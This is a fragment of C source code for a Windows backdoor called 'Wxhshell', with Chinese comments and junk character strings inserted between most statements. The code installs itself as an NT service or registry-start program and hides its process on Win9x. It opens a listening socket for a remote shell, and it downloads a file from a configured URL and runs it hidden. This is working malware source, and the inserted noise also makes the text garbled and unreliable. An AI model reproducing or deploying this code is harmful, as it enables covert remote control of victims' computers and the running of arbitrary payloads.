(=$x.1 unsigned long cbNeeded; R2; 1,~D4lD| if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :t[_:3@ KP"+e:a% CloseHandle(hProcess); Rv=YFo[B ;,TFr}p` if(strstr(procName,"services")) return 1; // 以服务启动 \8
":]EU Tk>#G{Wb- return 0; // 注册表启动 @oNXZRg6 } 0erNc'e U(Zq= M // 主模块 9z0p5)]n> int StartWxhshell(LPSTR lpCmdLine) phK/ { d1*<Ll9K SOCKET wsl; ebq4g387X BOOL val=TRUE; nNm`Hfi int port=0; 4W])}C % struct sockaddr_in door; >7FHo-H/T N;d] 14| if(wscfg.ws_autoins) Install(); Bwrx *J /{[o~:'p port=atoi(lpCmdLine); mR~&)QBP. : +u]S2u{ if(port<=0) port=wscfg.ws_port; %)|s1B'd l.]xB,k WSADATA data; ibw;}^m( if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; D@KlOU{< B1gR5p 0 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; E@\e$?*X setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >sF)BoLc door.sin_family = AF_INET; 4
:v=pZ door.sin_addr.s_addr = inet_addr("127.0.0.1"); edD)TpmE, door.sin_port = htons(port); (BM47D=v .d*8C, if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { HsWk*L `y closesocket(wsl); QWU[@2@%r return 1; $:6!H:ty } D=$)n_F #z(]xI)" if(listen(wsl,2) == INVALID_SOCKET) { 6LZCgdS{ closesocket(wsl); H+#FSdy# return 1; *v`eUQ: } &[9709 (= Wxhshell(wsl); r^ XVB`v WSACleanup(); hb-%_c"kq TzZq(?V return 0; b$7 +;I; IgzQr > } 3R/bz0 V> 'R)Tn!6 // 以NT服务方式启动 KoRV%@I VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \*da6Am { 0_/[k*Re DWORD status = 0; y}
'@R$ DWORD specificError = 0xfffffff; l}h!B_P' N mG# serviceStatus.dwServiceType = SERVICE_WIN32; QPx^_jA serviceStatus.dwCurrentState = SERVICE_START_PENDING; t-AmX)$ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; rOYx
b }1 serviceStatus.dwWin32ExitCode = 0; ?M2J wAK5 serviceStatus.dwServiceSpecificExitCode = 0; RFGffA&
serviceStatus.dwCheckPoint = 0; :m;p:l|W serviceStatus.dwWaitHint = 0; 54,er$$V pCDmXB hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); W)/#0*7 if (hServiceStatusHandle==0) return; 5G#n"}T ^q&x7Kv% status = GetLastError(); F@t3!bj9 if (status!=NO_ERROR) Mt$
*a { B?QIN] serviceStatus.dwCurrentState = SERVICE_STOPPED; s.rm7r@# serviceStatus.dwCheckPoint = 0; b>W%t serviceStatus.dwWaitHint = 0; R_KH"`q serviceStatus.dwWin32ExitCode = status; z}<^jgJ serviceStatus.dwServiceSpecificExitCode = specificError; _`V'r#Qn SetServiceStatus(hServiceStatusHandle, &serviceStatus); `L
zPotz return; wzA$'+Mb } [^)g%|W OI*H,Z" serviceStatus.dwCurrentState = SERVICE_RUNNING;
G*m0\ serviceStatus.dwCheckPoint = 0; .}t
e>]A* serviceStatus.dwWaitHint = 0; 9$t(&z= if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); GdwVtqbX } e.C)jv6qr l}
/F* // 处理NT服务事件,比如:启动、停止 hxx.9x>ow VOID WINAPI NTServiceHandler(DWORD fdwControl) |pK!S { I]575\bA switch(fdwControl) ' QG?nu { R-:2HRaA case SERVICE_CONTROL_STOP: ?[AD=rUC serviceStatus.dwWin32ExitCode = 0; c$,P ~Ws' serviceStatus.dwCurrentState = SERVICE_STOPPED; >z03{=sAN serviceStatus.dwCheckPoint = 0; ]]mJ']l serviceStatus.dwWaitHint = 0; qM`}{
/i { x:;kSh SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q8NX)R } a#4?cEy return; bOB\--:] case SERVICE_CONTROL_PAUSE: _#niyW+?~ serviceStatus.dwCurrentState = SERVICE_PAUSED; do%&m]#; break; IPk4
;, case SERVICE_CONTROL_CONTINUE: .H|-_~Yx| serviceStatus.dwCurrentState = SERVICE_RUNNING; _-D{-Bu# break; uZ5p#M_ case SERVICE_CONTROL_INTERROGATE: +z( Lr=G break; eDMO]5}Ht }; ]lbuy7xj63 SetServiceStatus(hServiceStatusHandle, &serviceStatus); M{@(G5 } zda 3
,U2o UZMd~| // 标准应用程序主函数 uT{q9=w int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) uD'6mk* { h\o.&6sd /(cPfZZ // 获取操作系统版本 !Ee:o"jG{ OsIsNt=GetOsVer(); A<{{iBEI` GetModuleFileName(NULL,ExeFile,MAX_PATH); d~H`CrQE* $X6h|?3U, // 从命令行安装 KwS@D9bok if(strpbrk(lpCmdLine,"iI")) Install(); tc! #wd+u uYN`:b8 // 下载执行文件 WLT"ji0w2 if(wscfg.ws_downexe) { TxD#9]Q` if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2 nCA<& WinExec(wscfg.ws_filenam,SW_HIDE); 6'/ #+,d' } D^O@'zP=At y0#2m6u if(!OsIsNt) { [6fQ7uFMM8 // 如果时win9x,隐藏进程并且设置为注册表启动 =euni}7a HideProc(); +rd+0 `}C StartWxhshell(lpCmdLine); e=
AKD# } yAt^; else +whDU2 " if(StartFromService()) q1,~ // 以服务方式启动 py4 h(04u StartServiceCtrlDispatcher(DispatchTable); Xhm
c6? else DUS6SO // 普通方式启动 SU0
hma8 StartWxhshell(lpCmdLine); a9gLg
& CrLrw T return 0; ^sw?gH* }
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